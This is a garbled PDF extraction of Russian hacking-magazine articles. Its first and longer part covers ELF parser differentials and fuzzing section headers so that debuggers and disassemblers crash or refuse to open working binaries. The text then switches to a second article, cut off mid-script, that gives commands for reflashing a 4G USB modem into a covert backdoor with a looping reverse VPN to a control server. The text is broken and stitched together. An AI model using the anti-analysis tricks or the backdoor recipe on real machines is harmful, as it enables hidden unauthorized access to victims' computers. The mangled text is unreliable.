langsec-сооб щес тва, хотя опи саний атак, которые
мож но сюда отнести, пре дос таточ но. Так же мне
не попада лись вари анты перево да это го на рус- 
ский, но, думаю, мож но наз вать это чем-то вро де
«раз ности раз бора».

Ата ки на «раз ность деревь ев раз бора» — по-сво ему уди витель ный вид атак.
Сама идея их мак сималь но прос тая: име ется две реали зации пар серов одно- 
го фор мата, и они по-раз ному «видят» одни и те же вход ные дан ные. Пос- 
ледс твия же, осо бен но в цепоч ке с дру гими уяз вимос тями, могут быть
самыми раз ными. Давай раз берем нес коль ко при меров.

REQUESTS SMUGGLING Â GITLAB È ZOOM

HTTP requests smuggling, который в рус ско языч ных источни ках иног да называ- 
ют «кон тра бан дой зап росов», по сути мож но отнести к ата кам на parser
differential. Они работа ют за счет того, что два сер вера по-раз ному пар сят
один и тот же про ходя щий через них HTTP-зап рос. На одних и тех же вход ных
дан ных они видят раз ное, что поз воля ет «кон тра бан дой» внед рять в один зап- 
рос вто рой. С при мером такой ата ки ты можешь озна комить ся в 
одной из HTB-тачек.

раз боре

Эта уяз вимость, CVE-2020-6833, сущес тво вала в GitLab: 
 и  рас парси вали по-раз ному один и тот же HTTP-

зап рос на сох ранение фай ла. Экс плу ата ция уяз вимос ти поз воляла фай лы
читать. Под робнее это было разоб рано в .

gitlab-
workhorse gitlab-rails

бло ге GitLab
Но requests smuggling не огра ничи вает ся HTTP-зап росами. В док ладе

 Айван Фрат рик из Project Zero
рас ска зыва ет о CVE-2022-22784, в которой ошиб ки пар серов поз воляли
встав лять теги в сооб щения (stanza). Потен циаль но это поз воляло дос тичь
под делки сооб щений сер вера, перенап равле ния соеди нения и проб лем
с пов режде нием памяти, недос тупных иным путем. Иссле дова тель смог рас- 
кру тить это до выпол нения сво его кода в ходе авто обновле ния Zoom
в резуль тате под мены сер вера.

XMPP Stanza Smuggling or How I Hacked Zoom

Psychic Paper è CVE-2022-42855
В янва ре это го года был опуб ликован  того же иссле дова теля
из Project Zero. В нем он упо минал вари ацию  — ата ку, в резуль- 
тате которой на macOS мож но было исполнять фай лы с непод писан ными
раз решени ями (entitlements) так, что сама сис тема счи тала, что все окей.
Про исхо дило это потому, что внут ри опе раци онки пар серов PLIST (то есть
ста рого доб рого XML) было аж четыре шту ки, которые, конеч но же, в опре- 
делен ных слу чаях не выдава ли иде аль но оди нако вые резуль таты. Неверо- 
ятным решени ем той проб лемы ста ло —  — соз дание
пятого пар сера.

ре серч
Psychic Paper

что бы вы подума ли?

В даль нейшем, впро чем, в Apple решили перехо дить на бинар ный DER-
фор мат вмес то тек сто вого XML, но и в этом слу чае Фрат рик смог най ти
в  фун кции, которые пар сят эле мен ты DER по-раз ному,
хотя добить ся эффекта Psychic Paper ему не уда лось.
libCoreEntitlements

Äîâåðåííûå ñåðòèôèêàòû X.509 íà ïðîèçâîëüíûé äîìåí
В 2010 году Леном Сас саманом и Мередит Пат терсон в док ладе 

 была опи- 
сана уже упо мяну тая ата ка на обра бот ку сер тифика тов X.509 бра узе рами: те
мог ли отоб ражать поль зовате лю не тот домен, для которо го сер тифика ты
были изда ны, потому что невер но рас парси вали поле  (Common Name),
если в нем был нуль-тер минатор.

Towards
a formal theory of computer insecurity: a language-theoretic approach

CN

Центр сер тифика ции не поз волил бы зап росить сер тификат для условно го
 тому, кто не вла деет таким доменом. Но что слу чит ся, спро- 

сили иссле дова тели, если в CN ука зать ?
www.bank.com

www.bank.com\x00badguy.com

Слайд из пре зен тации Сас самана и Пат терсон

Из-за некор рек тной обра бот ки нуль-тер минато ра бра узе ры «видели»
и показы вали поль зовате лю стро ку , хотя сер тификат (под- 
писан ный доверен ным цен тром!) был выдан на сов сем дру гой домен. Такое
непот ребс тво, утвер жда ют в док ладе, не было бы воз можным, если бы 
реали зации пар сили поле одним и тем же обра зом.

www.bank.com

âñå

ELF: çàïóñòèòü íåëüçÿ ïðîàíàëèçèðîâàòü
Собс твен но, схо жей логикой с опи сан ной выше руководс тво вал ся нек то Але- 
хан дро Эрнандез из IOactive, он же nitr0us. В далеком ныне 2012 году он
решил поис кать вари анты вос пре пятс тво вать ана лизу бинарей более инте- 
рес ным спо собом, чем исполь зование методов runtime-анти отладки, которые
все же мож но обхо дить. В GDB того вре мени (7.5.1) nitr0us нашел багу
в обра бот ке DWARF, ког да при попыт ке заг рузить спе циаль но сфор мирован- 
ный эльф в отладчик пос ледний падал на разыме нова нии нулево го ука зате ля.

По мимо GDB, nitr0us нашел тог да багу в IDA Pro 6.3, при водя щую к внут- 
ренней ошиб ке, пос ле которой та зак рыва ется, опять же не давая про ана- 
лизи ровать файл. Сам эльф при этом, конеч но, прек расно запус кался самой
ОС и работал. Под робнее можешь озна комить ся в пос те IOactive 

.
Striking Back

GDB and IDA debuggers through malformed ELF executables

ÏÀÐÑÅÐÛ ELF

Те перь, ког да мы име ем некото рое пред став ление о том, что в мире пар- 
серов не все хорошо, подой дем бли же к саб жу и пос мотрим, как обсто ят
дела с ELF. Задумы вал ся ли ты, сколь ко в сис теме с Linux мож но нас читать
пар серов одно го толь ко ELF-фор мата?

ßäðî ÎÑ
Пар сер ELF есть в ядре Linux и дру гих ОС, которые уме ют с ним работать. Он
отве чает за то, что бы такие сис темные вызовы, как / ,
мог ли выпол нить свою работу, а мы мог ли запус кать свои любимые бра узе ры
и  читать ста тееч ки.

execve() execveat()

смот реть видео с котика ми
Здесь про исхо дит мно го работы, но в целом ядро выпол няет при мер но

сле дующее:
про веря ет наличие прав на запуск фай ла;•
про веря ет, под держи вает ся ли фор мат в качес тве исполня емо го;•
в зависи мос ти от фор мата выбира ет так называ емый интер пре татор.
В слу чае динами чес ки слин кован ных эль фов это , а в слу чае скрип тов,
которые начина ются с шебан га ( ), это то, что ука зано в пер вой стро ке (

,  и вооб ще любой путь — можешь поэк- 
спе римен тировать на досуге);

•
ld

#! /

bin/sh /usr/bin/env python3

в слу чае эль фов под готав лива ет сег менты памяти в соот ветс твии с тем,
что ука зано в его прог рам мных заголов ках;

•

а если эльф динами чес кий, то надо не забыть под гру зить все необ- 
ходимые биб лиоте ки, которые так же явля ются эль фами (для них выпол- 
няют ся те же шаги);

•

ус танав лива ет ука затель текущей инс трук ции про цес са, выз вавше го
, на точ ку вхо да.

•
execve*()

Дам пы памяти, появ ляющиеся в Linux при вызове, нап ример, 
или получе нии , воз ника ют тоже не из воз духа: их ядро 

 в ELF-файл, который име ет тип  вмес то / .

abort()
SIGABRT лю без но

собира ет ET_CORE ET_EXEC ET_DYN
И казалось бы, механизм запус ка поль зователь ских бинарей в ОС дол жен

быть хорошо отла жен за не одно десяти летие сущес тво вания фор мата —
пер вая спе цифи кация появи лась аж в 1989 году еще для Unix System V. Ан
нет! Уже извес тны ми нам IOActive в 2014  проб лема
в OpenBSD 5.5, поз воля ющая выз вать панику ядра спе циаль но сфор- 
мирован ным фай лом.

бы ла выяв лена

Ñèñòåìíûå óòèëèòû
Здесь мож но наз вать ряд сис темных ути лит из binutils, сре ди которых readelf,
objdump, as, gcc и ld. Под капотом у них раз бором ELF  GNU BFD
Library, то есть мож но ска зать, что на ниж нем уров не пар сер один. Но там, где
вклю чает ся логика самих ути лит, могут про явить ся раз личия.

за веду ет

Îòëàä÷èêè, äåêîìïèëÿòîðû, äèçàññåìáëåðû, ýìóëÿòîðû
Ког да ты хочешь отла дить какой-нибудь эльф, ска жем в GDB, он прой дет
минимум через два пар сера: пар сер отладчи ка, что бы, к при меру, под гру зить
дос тупные сим волы из фай ла или отла доч ную информа цию при наличии
таковой, и пар сер ядра, что бы этот эльф запус тить. Если ты исполь зуешь рас- 
ширения, то в игру может вклю чить ся что-нибудь еще — нап ример, в слу чае
pwndbg это .elftools

Раз личные инс тру мен ты ана лиза, будь то IDA, Ghidra, Radare2 или rizin, так- 
же вынуж дены пар сить заголов ки фай лов, что бы иметь воз можность показать
тебе точ ку вхо да, сег менты и при воз можнос ти кра сиво поиме новать фун кции
и перемен ные. В  заг рузкой исполня емых фай лов занима ется CLE, внут- 
ри  . В LIEF за это отве чает .

angr
ис поль зующий elftools собс твен ный код
По мимо это го, исполня емые фай лы в ходе ана лиза пар сят анти вирус ные

движ ки, иног да допус кая занят ные курь езы в виде 
 целой архи тек туры.

ис клю чения из даль нейшей
про вер ки
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СОПРОТИВЛЯТЬСЯ ОТЛАДКЕ

COVERSTORY  НАЧАЛО СТАТЬИ←

ÈÙÅÌ ÐÀÇËÈ×Èß

Как видишь, пар серов мно го. Как же под сту пить ся к поис ку parser differential
меж ду ОС и при ложе ниями, ког да име ется столь ко инс тру мен тов, на которые
мож но нацелить ся? Как и всег да, опре делим ся спер ва с тем, чего мы хотим.
Наиболь ший инте рес пред став ляет для нас эльф, который запус кает ся опе- 
раци онной сис темой и при этом не откры вает ся в отладчи ке и дизас сем бле- 
рах.

Из вес тно, что для запус ка и работы эль фа информа ция о сек циях совер- 
шенно не нуж на, и ОС на нее спо кой но забива ет — об этом, если инте рес но,

 в моей прош лой статье. Инс тру мен ты ана лиза, нап ротив, ее
исполь зуют, ког да пыта ются вычитать име на сим волов и сек ций в фай ле.
Это зна чит, что сле дует сос редото чить вни мание на фаз зинге заголов ков
сек ций.

бы ло написа но

INFO

Хо чу под чер кнуть, что моей целью не был поиск
зироде ев в инс тру мен тах, мне хотелось разоб- 
рать ся с тем, как их в прин ципе мож но тес- 
тировать пач кой эль фов. Поэто му и выбор ка
будет не очень боль шой.

Ôàççåðû
По фаз зить эль фы, как и любой дру гой фор мат, мож но по-раз ному. Пой дем
от самого прос того.

LiveOverow  скрипт, который все го лишь уста нав лива ет один слу- 
чай ный байт из фай ла в слу чай ное зна чение и вот таким нехит рым обра зом
получа ет работа ющий файл, не откры вающий ся в GDB и Radare2. Самое
инте рес ное в этом всем то, что в 2020 году схо жим фаз зером  пару
проб лем в Radare2 при обра бот ке заголов ков PE и ELF. Этим уяз вимос тям
прис воили иден тифика торы CVE-2020-16269 и CVE-2020-17487.

на писал

наш ли

Дру гой воз можный вари ант — вос поль зовать ся AFL++. Это, несом ненно,
куда луч ше сле пого перебо ра слу чай ных бай тов и поз воля ет отсле живать
пок рытие в тес тиру емой прог рамме. Но нам-то хорошо бы исполь зовать пач- 
ку раз ных инс тру мен тов на оди нако вом наборе эль фов и най ти сре ди них
такой, который полома ет их все, но запус тится на сис теме. А это не сов сем
тот юзкейс, на который ори енти рован AFL++.

К тому же, если мы зна ем, какой имен но из пар серов эль фов мы хотим
пофаз зить (а точ нее, на что в фай ле обра щает вни мание тес тиру емый пар- 
сер), то неп лохо иметь воз можность уточ нить задачу фаз зеру. Хотим ли мы
пор тить прог рам мные заголов ки (PHT, Program Header Table), заголов ки сек- 
ций (SHT, Section Header Table), собс твен ный заголо вок эль фа или, может,
все вмес те? Зву чит так, буд то луч ше исполь зовать фаз зер с опи сани ем грам- 
матик. Но это — отдель ная неп ростая тема, далеко выходя щая за рам ки
сегод няшней статьи. Исхо дя из того, чего мы хотим в нашей задаче, нуж но
ломать в эль фе заголов ки сек ций, а не все под ряд.

И к счастью, для это го есть более под ходящий фаз зер.

Melkor
Он был соз дан уже зна комым нам nitr0us спе циаль но для получе ния сло ман- 
ных раз ным (в зависи мос ти от задачи) обра зом эль фов и носит гор дое имя

. Нес мотря на свой воз раст, у меня он прак тичес ки без проб лем соб- 
рался и зарабо тал, да и фор мат-то за минув шее вре мя не изме нил ся.
Из огра ниче ний Melkor могу выделить под дер жку исклю читель но архи тек туры
x86 (32/64 бит).

Melkor

В репози тории есть пара шаб лонных эль фов, которые мож но исполь- 
зовать как вход для фаз зинга. Мож но ука зать, какие имен но заголов ки
во вход ном эль фе ты хочешь пофаз зить: PHT, SHT, таб лицу сим волов, релока- 
ций и про чее, что очень удоб но, если зна ешь, что имен но тебе нуж но.

Оп ции Melkor

Итак, ука жем «Мель кору» при генера ции эль фов фаз зить лишь заголов ки сек- 
ций в шаб лонном фай ле  из пап ки . Они будут сох ранены в пап- 
ке .

foo templates
orcs_foo/

Пор тим эль фов

Хо чу отме тить дру гое удобс тво в этом фаз зере — наличие готово го скрип та
, которым мож но прог нать пач ку сге нери рован ных фай лов

на тес тиру емом инс тру мен те, будь то ОС или какой-нибудь отладчик.
Позапус каем получив шиеся эль фы в сис теме коман дой 

. Боль шинс тво запус тились и завер шились
без оши бок. Но некото рые, что инте рес но, завер шились с сег фолтом, но они
в рам ках реша емой задачи меня не инте ресо вали.

test_fuzzed.sh

./test_fuzzed.sh 
orcs_foo/ | tee test_OS

Сег фолты при запус ке на сис теме

Òåñòèðóåì EDB
Пос мотрим, как себя почувс тву ют отладчи ки. На «пло хих» фай лах они будут
выводить сооб щения об ошиб ках и ждать ука заний поль зовате ля, что
не очень удоб но, ког да ана лизи руешь поведе ние на боль шом количес тве
фай лов. Тут мож но схит рить: что бы не зак рывать отладчик руками каж дый раз,
будем запус кать его через коман ду timeout, которая завер шит выпол нение
тес ткей са за нас, .а мы пока смо жем отки нуть ся на спин ку крес ла

На пер вых двух эль фах EDB (1.3.0) спот кнул ся, а на треть ем запус тился,
пред лагая отла дить файл, но зак рылся по тайм-ауту, и тес тирова ние про дол- 
жилось. Кра сота!

Про гоня ем запуск эль фов в EDB

Все го на сот ню покор рапчен ных эль фов в EDB мы получи ли 55 сег фолтов
и 9 исклю чений с делени ем на ноль (да-да, , или Floating point
exception, нес мотря на свое наз вание, в Linux генери рует ся и при целочис-
ленном делении на ноль).

SIGFPE

Па дения EDB

Даль нейшие раз биратель ства, подарив шие мне уни каль ный опыт отладки
отладчи ка в дру гом отладчи ке, показа ли, что эти проб лемы воз ника ют в пла- 
гине BinaryInfo. Он отве чает за пар синг сек ций для сбо ра информа ции о сим- 
волах перед тем, как непос редс твен но запус тить иссле дуемый эльф
для отладки. В пер вом слу чае не про веря лась валид ность ука зате ля на стро ку
с име нем сек ции и он спо кой но мог ука зывать за пре делы про читан ного фай- 
ла. Во вто ром отсутс тво вала про вер ка раз мера эле мен та перед тем, как под- 
счи тывать их количес тво в сек циях, содер жащих таб лицы эле мен тов (такие
как таб лица сим волов).

Ес ли тебе вдруг инте рес но, оба бага .уже пофик шены

SIGFPE в EDB в резуль тате деления на ноль при под сче те эле мен тов
в сек ции

Кста ти говоря, при иссле дова нии падений край не удоб но иметь сбор ку тес- 
тиру емо го ПО с санитай зерами. Нап ример, соб рав EDB с Address Sanitizer
(ASAN), мы получим удоб ный бэк трейс, который при ятнее прос матри вать
в логах того же , чем изу чать в отладчи ке каж дый кейс
руками.

./test_fuzzed.sh

Вы вод Address Sanitizer

Ïðîâåðÿåì GDB
Пос коль ку nitr0us тоже тес тировал GDB и учел, что он будет ждать поль- 
зователь ско го вво да, если при откры тии фай ла воз никнет ошиб ка, вмес то
трю ка с  мож но рас коммен тировать строч ку 80 вмес то 79-й в 

, что бы было так:
timeout ./

test_fuzzed.sh

# $2 $1$file 2>&1
 echo quit | $2 $1$file 2>&1 # Example: "echo quit | gdb -q orcs/x"

Те перь исполним ../test_fuzzed.sh orcs_foo/ gdb | tee test_gdb

Про гоня ем наших эль фов в GDB

В 98 слу чаях из 100 GDB отка зывал ся открыть файл с сооб щени ем 
. В одном слу чае он

сооб щил: 
, но один — хоть и с

руганью — все же открыл. Зато каких-либо падений, в отли чие от EDB,
не было.

not in 
executable format: file format not recognized

Can’t read symbols from /home/kali/tmp/edb-segfault/
Melkor_ELF_Fuzzer/orcs_foo/orc_0063: bad value

98 отка зов и лишь один запуск

В общем, GDB ведет себя дос таточ но зре ло на нашей сот не сло ман ных эль- 
фов в том смыс ле, что хотя бы не пада ет на них. Дру гое дело, что он совер- 
шенно отка зыва ется с ними работать, и это толь ко на руку тем, кто заин- 
тересо ван в анти отладке.

Radare2: r2hang
Что бы авто мати зиро вать ана лиз фай ла, запуск дебага и зак рытие
Radare2 в слу чае каких-либо проб лем, заменим вновь 80-ю стро ку скрип та 

 сле дующей:
./

test_fuzzed.sh

  |  echo "aaaa\nood\ndc\nq\n\n" $2 $1$file 2>&1 

Тайм-аут в коман де запус ка оста вим на вся кий слу чай, что бы на чем-нибудь
не зас трять. Так же отклю чим цвет ной вывод опци ей ,
что бы эскейп-пос ледова тель нос ти, которы ми закоди рова ны цве та,
не мешали в даль нейшем изу чать лог. Пос ле это го запус тим тес тирова ние.

-e scr.color=false

Про гоня ем эль фов в «Hада ре»

С боль шинс твом испорчен ных эль фов Radare2 спра вил ся без осо бо боль ших
проб лем и ни на одном не упал так, как EDB. Он, впро чем, задумы вал ся
при попыт ке начать отладку некото рых фай лов, но в ито ге все же откры вал.
Восемь фай лов завер шались с сег фолтом (при про гоне на ОС их было
десять), а завер шились с каким-нибудь кодом — то есть таки были запуще ны
для отладки — 65 штук.

Ре зуль таты про гона в Radare2

Ины ми сло вами, при мер но с чет вертью фай лов воз никла какая-то проб лема.
Чаще все го она зак лючалась в том, что толь ко на откры тии ELF
Radare2 зависал, выедая при этом ядро CPU, и завер шался по тайм-ауту.
Что бы пос мотреть, в нед рах чего он вис нет, мож но при атта чить ся к про цес су
это го при ложе ния.

Radare2 за обе дом

Вкрат це рас сле дова ние этой проб лемы вклю чало в себя дебаж ную сбор ку
пос ледней вер сии из GitHub, про вер ку, что и на ней так же про исхо дит
зависа ние, и пос троч ную отладку Radare2 с под гля дыва нием в сор цы, изу- 
чени ем бэк трей сов и содер жимого струк тур, опи сыва ющих ELF внут ри
Radare2.

Для локали зации проб лемы было так же полез но срав нить заголов ки эль- 
фа, на котором Radare2 зависа ет, с ори гиналь ным  из репози тория
Melkor, на базе которо го сге нери рова ны наши 100 фай лов. Сле ва — дифф
содер жимого их таб лиц сек ций (SHT) в vbindiff, а спра ва — пред став ление
этих же дан ных для одной из сек ций в Hiew. Итак, Melkor решил соз дать сек- 
цию (кон крет но ) неверо ятно го раз мера.

foo

.plt.got

За голов ки, сло ман ные при помощи Melkor, в vbindiff и Hiew

Са ма же проб лема, как выяс нилось, зак лючалась в отсутс твии одной про вер- 
ки, ког да пар сер ELF в Radare2 про ходил ся по эле мен там сек ции ,
пыта ясь най ти в ней сме щение сим вола . Не про веря лось, уме щает- 
ся ли вооб ще в пре делы фай ла сек ция заяв ленно го в заголов ках ELF раз мера
(  в Hiew на скрин шоте выше). Таким обра зом, Radare2 в цик ле
ите риро вал ся по фай лу от начала  (в нашем слу чае ) до мес- 
та, где, как он счи тал, находит ся ее конец сог ласно заголов кам в таб лице сек- 
ций (а это очень боль шое чис ло в рас смат рива емом при мере). Для выхода
из это го цик ла нуж но все го лишь прой тись по при мер но сле дующе му
количес тву эле мен тов:

.plt.got
plt_addr

Physical size
.plt.got 0x10f0

0x4242424258aebf0b/8 = 596806425961158625 

Этот баг, к сло ву, тоже .был пофик шен
На до ска зать, что собс твен но чте ния за пре дела ми буфера, хра няще го

содер жимое ELF-фай ла (что потен циаль но мог ло бы вылить ся в сег фолт
при выходе за пре делы мап пинга), не про исхо дило, пос коль ку в вызыва емых
в даль нейшем фун кци ях при сутс тво вали нуж ные про вер ки. В резуль тате,
подой дя к кон цу буфера, Radare2 прос то читал по 0 байт, пока не выпол- 
нялось усло вие выхода: про ите риро вать всю сек цию по ее раз меру.

До капы ваем ся до исти ны: чте ние по 0 байт в кон це буфера с содер -
жимым фай ла

Interactive Disassembler
Пос ледним инс тру мен том, который мы рас смот рим, будет IDA. Тес тировать
ее автор Melkor пред лага ет с помощью его бат ника ,
одна ко тут нас встре чает одно кро хот ное неудобс тво: как он ука зыва ет в сво- 
ем ресер че, зак рывать появ ляющиеся окош ки при дет ся руками. Что ж, нехотя
с этим сми рим ся.

win_test_fuzzed.bat

Nitr0us фаз зил демовер сию «Иды», мы же испро буем IDA Free
8.2 для Linux. В слу чае появ ления окон с ошиб ками будем дей ство вать так,
как сред неста тис тичес кий поль зователь: не думая сог лашать ся со всем.

В целом IDA весь ма неп лохо себя чувс тво вала. В ней есть про вер ка сме- 
щений и раз меров сек ций, их пересе чений, валид ности атри бутов и соот- 
ветс тву ющая обра бот ка невалид ных зна чений. Одна ко же наш лись эль фы,
ока зав шиеся ей не по зубам. В одном из фай лов она некор рек тно отоб ража- 
ет содер жимое сек ций в сег менты, выводя край не стран ную точ ку вхо да, да и
спи сок дос тупных сег ментов тоже оставля ет мно жес тво воп росов. ELF
при этом успешно запус кает ся через F9 для отладки и завер шает ся
с кодом 0.

Не кор рек тное отоб ражение точ ки вхо да и сег ментов

Бо лее того: мож но пос тавить точ ку оста нова в точ ке вхо да (и пусть тебя нис- 
коль ко не сму щает ее вид!), и при отладке IDA дей стви тель но оста новит ся
на стар те бинаря, а при нажатии на F7 (single step) еще и пред ложит перевес- 
ти дан ные в код.

Пред ложение IDA пересоз дать инс трук цию

Что инте рес но — если сог ласить ся с этим пред ложени ем, нашему взо ру
пред ста нет что-то подоз ритель но похожее на под готов ку регис тров
с вызовом .__libc_start_main()

Точ ка вхо да

Все го эль фов с таким поведе нием IDA обна ружи ла 2 из 100.

ÂÛÂÎÄÛ

Од нажды мне ска зал один муд рец: пер вое и глав ное, что необ ходимо сде- 
лать, ког да хочет ся что-то сло мать, — осоз нать повер хность ата ки. Инте рес- 
но, как все го лишь сот ни поломан ных эль фов ока залось дос таточ но, что бы
про экс плу ати ровать parser differential в раз личных инс тру мен тах и пре дот вра- 
тить ана лиз рабочих фай лов, ког да зна ешь, на что обра щать вни мание.

Все воз можные пар серы чего угод но — нас тоящее поле для экспе римен- 
тов. Реали зации стан дартов содер жат ошиб ки и не пар сят оди нако во, а в
фор матах час то при сутс тву ет избы точ ная информа ция. При мер тому —
информа ция о сек циях ELF, бла года ря чему одни и те же фай лы прек расно
запус кают ся ОС, игно риру ющей ее, но не ана лизи руют ся инс тру мен тами, так
или ина че полага ющи мися на эти дан ные. Лей тмо тив все го langsec’а тому
под твержде ние:

Ambiguity is insecurity. 

Как мы уви дели, про ще все го было сде лать так, что бы GDB отка зал ся ана- 
лизи ровать файл. Мы смог ли зас тавить упасть EDB и завис нуть Radare2. IDA
же, хоть и мог ла открыть боль шинс тво бинарей, на двух выдала откро вен ную
чушь.

В EDB и Radare2 были локали зова ны и пофик шены най ден ные баги. Я счи- 
таю, это неп лохой резуль тат для ресер ча, который начал ся с вось миминут- 
ного видео!

WWW

Ес ли тебе инте рес но более осно ватель но поковы- 
рять ся с ломани ем инс тру мен тов для работы
с ELF-фай лами, пред лагаю тебе озна комить ся
со сле дующи ми источни ками, не счи тая уже
перечис ленных в тек сте:

 — ezine, пос вящен ный эль фам и ревер- 
су, и их  с огромным спис ком ссы- 
лок по теме;

•tmp.out
ре пози торий

ре пози торий  (Ryan O’Neill), гуру эль- 
фов;

• elfmaster

 — что-то типа сбор ника ста тей
о фор матах фай лов, про токо лов, их внут- 
реннос тях, ревер се и экс плу ата ции,
или Emulation, vintage computing, modern heap
corruption exploitation, systems internals,
and everything in between;

•PoC||GTFO

 [LWN.net];•How programs get run: ELF binaries
 и дру гие

статьи по Linux от ;
•How does the Linux kernel run a program

0xAX
вай тпей пер 

.
• “Weird Machines” in ELF: A Spotlight

on the Underappreciated Metadata

https://xakep.ru/2021/08/24/reverse-shell-237-bytes/#toc04.3
https://github.com/LiveOverflow/liveoverflow_youtube/blob/bc3c295e86a938ada66d56f8c8c2c29562d8273c/0x07_0x08_uncrackable_crackme/
https://tmpout.sh/1/5.html
https://github.com/IOActive/Melkor_ELF_Fuzzer
https://github.com/eteran/edb-debugger/pull/834
https://github.com/radareorg/radare2/pull/21423
https://tmpout.sh/
https://github.com/tmpout/awesome-elf
https://github.com/elfmaster
https://github.com/angea/pocorgtfo
https://lwn.net/Articles/631631/
https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-4.html
https://github.com/0xAX/
https://www.usenix.org/system/files/conference/woot13/woot13-shapiro.pdf
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ВЗЛОМ

Ес ли у зло умыш ленни ка есть непос редс- 
твен ный дос туп к компь юте ру потен циаль- 
ной жер твы, он может обес печить себе
пос тоян ный и бес перебой ный канал свя зи.
Про ще все го исполь зовать для это го обыч- 
ный USB-модем, который пред варитель но
сле дует слег ка модифи циро вать. В этой
статье мы под робно рас ска жем и покажем
как.

Что, если кто-нибудь вос поль зует ся оставлен ным без вни мания компь юте ром
и под клю чит к нему спе циаль ный девайс, по которо му затем получит уда лен- 
ный дос туп из любого угол ка мира? Вся опи сан ная мною ранее 

 может ока зать ся в рас поряже нии зло умыш- 
ленни ка. Толь ко теперь он нап равит уси лия не на ата ку, а на под держа ние
уда лен ного дос тупа.

ма гия с эму- 
ляци ей устрой ств через USB

INFO

Эта статья — часть серии пуб ликаций о прак- 
тичес ких при емах взло ма и атак с исполь зовани- 
ем под ручных устрой ств, которые мож но соб рать
дома. В этих матери алах мы рас кры ваем прос тые
спо собы получе ния несан кци они рован ного дос-
тупа к защищен ной информа ции и показы ваем,
как ее огра дить от подоб ных атак. Пре дыду щая
статья серии: «

».
Злая сетеву ха. Раз бира ем

в деталях ата ку BadUSB-ETH

За думы вал ся ли ты о том, что сов ремен ные 4G-модемы (HiLink) — это устрой- 
ства чуть боль ше флеш ки с нас тоящим Linux внут ри? Нап ример, Android 2.3 /
Linux 3.4.5 + VxWorks v6.8 для GSM. Это пол ностью авто ном ные устрой ства
с питани ем по USB. Сра зу пос ле под клю чения к компь юте ру ОС модема
за нес коль ко секунд заг ружа ется и эму лиру ет свой USB как сетевую кар ту.

Для опи сыва емой в этой статье ата ки луч шим аппа рат ным решени ем
будет непос редс твен но сам HiLink-модем: он ком пактен и име ет 4G-модуль.
Это может быть, нап ример, популяр ный Huawei E3372h-153, который поз- 
воля ет сде лать переп рошив ку, к тому же у него богатая под дер жка сооб щес- 
твом энту зиас тов.

Сов ремен ные 4G-модемы пред став ляют собой HiLink-модемы, то есть
они опре деля ются в сис теме как сетевая кар та. Для ОС ПК поль зовате ля мак- 
сималь но удоб но вза имо дей ство вать с интерне том через такую вир туаль ную
Ethernet-сеть. Но в то же вре мя и сам модем может исполь зовать ся для вза- 
имо дей ствия с компь юте ром, к которо му он под клю чен. Внут ри модема
работа ет пол ноцен ная ОС, которая так же, как было про демонс три рова но
с BadUSB-ETH, эму лиру ет сетевую кар ту. Схе ма зак репле ния на ском про- 
мети рован ной машине при помощи такого устрой ства показа на на сле- 
дующем рисун ке.

Ин форма цион ные потоки при зак репле нии по USB

Для зак репле ния в похожих обсто ятель ствах сущес тву ет готовый девайс
под наз вани ем LAN Turtle, одна ко он лишен важ ной осо бен ности — под дер- 
жки сто рон него 4G-канала.

ÐÅÀËÈÇÀÖÈß

Са мо устрой ство нас толь ко удач но под ходит для орга низа ции уда лен ного
дос тупа, что понадо бит ся минимум изме нений. Его глав ные пре иму щес тва:

не тре бует допол нитель ного питания;•
скры тое под клю чение, устрой ство не будет вид но в локаль ной сети, так
как работа ет толь ко в пре делах ском про мети рован ного компь юте ра;

•

ав тоном ный канал переда чи дан ных 4G поз волит иметь дос туп даже внут- 
ри изо лиро ван ных локаль ных сетей.

•

Для мак сималь ной эффектив ности устрой ство пот ребу ется нем ного дорабо- 
тать — переп рошить модем. Пос ле всех вне сен ных изме нений ОС модема
авто мати чес ки уста новит VPN-соеди нение с кон троль ным сер вером
через 4G-сеть (внеш ний канал) и обес печит таким обра зом устой чивый
сетевой дос туп к ПК, в который встав лен модем. Изна чаль но получить дос туп
к ОС модема мож но одним из сле дующих спо собов:

telnet 192.168.8.1 
adb connect 192.168.8.1:5555 

Что бы выпол нить даль нейшие нас трой ки, пот ребу ется вклю чить пор ты для AT-
команд:

curl http://192.168.8.1/html/switchDebugMode.html 
minicom -D /dev/ttyUSB0 

Пос ле вклю чения отла доч ного режима ОС модема может быть модифи циро- 
вана, для это го нуж но вой ти в режим переп рошив ки и заг рузить откры тую
про шив ку:

at^godload              # Переход в режим прошивки. Модем 
перезагрузится
sudo ./balong_flash -p /dev/ttyUSB0 E3372h-153_Update_22.200.15.00.
00_M_AT_05.10_nv.exe 

Пос ле запус ка модем обыч но эму лиру ет CD-ROM с драй верами плюс SD-
кар ту. Это нуж но отклю чить, пос коль ку девай су тре бует ся толь ко эму ляция
сети:

AT^NVWREX=50091,0,60,1 0 0 0 FF 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 A3 
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 
0 0 0 0              # Не переходить в режим CD-ROM при запуске, 
включен RNDIS/CDC
AT^RESET    # Перезагрузка

Да лее сле дует модифи циро вать сер вер DHCP, что бы модем не объ являл
себя шлю зом и на компь юте ре не ломалась таб лица мар шру тиза ции. Модем
дол жен под клю чать ся мак сималь но скрыт но:

 cat <<EE > /data/config
Interface br0
MinLease 30
Vendorid c0012
Address main
EnbSrv 1
Start 192.168.8.100
End 192.168.8.200
Option lease 86400
Option subnet 255.255.255.0
Address main end
EE

Те перь нуж но ско пиро вать на модем кли ент OpenVPN с драй вером и кон- 
фигом. Что бы ничего не ком пилиро вать, готовые бинар ники мож но 

:
ска чать

с сай та 4PDA

adb push tun.ko /online/ovpn/ 
adb push openvpn /online/ovpn/ 
adb push vds.ovpn /online/ovpn/ 

 cat <<EE > /data/vpn.sh
#!/system/bin/busybox sh
while :; do /online/ovpn/openvpn --config /online/ovpn/vds.ovpn 
--route-noexec; done
EE
chmod 700 /data/vpn.sh 

busybox passwd 
reboot 

Для боль шей надеж ности обратно го под клю чения VPN луч ше запус кать
в бес конеч ном цик ле. Оста лось лишь нас тро ить авто запуск все го это го доб- 
ра и не забыть орга низо вать мар шру тиза цию пакетов через модем от 4G-
сети в сто рону целево го компь юте ра:

mount -o remount,rw /dev/block/mtdblock16 

 cat <<EE >> /system/etc/autorun.sh
/data/autorun.sh &
EE

 cat <<EE > /data/autorun.sh
#!/system/bin/busybox sh
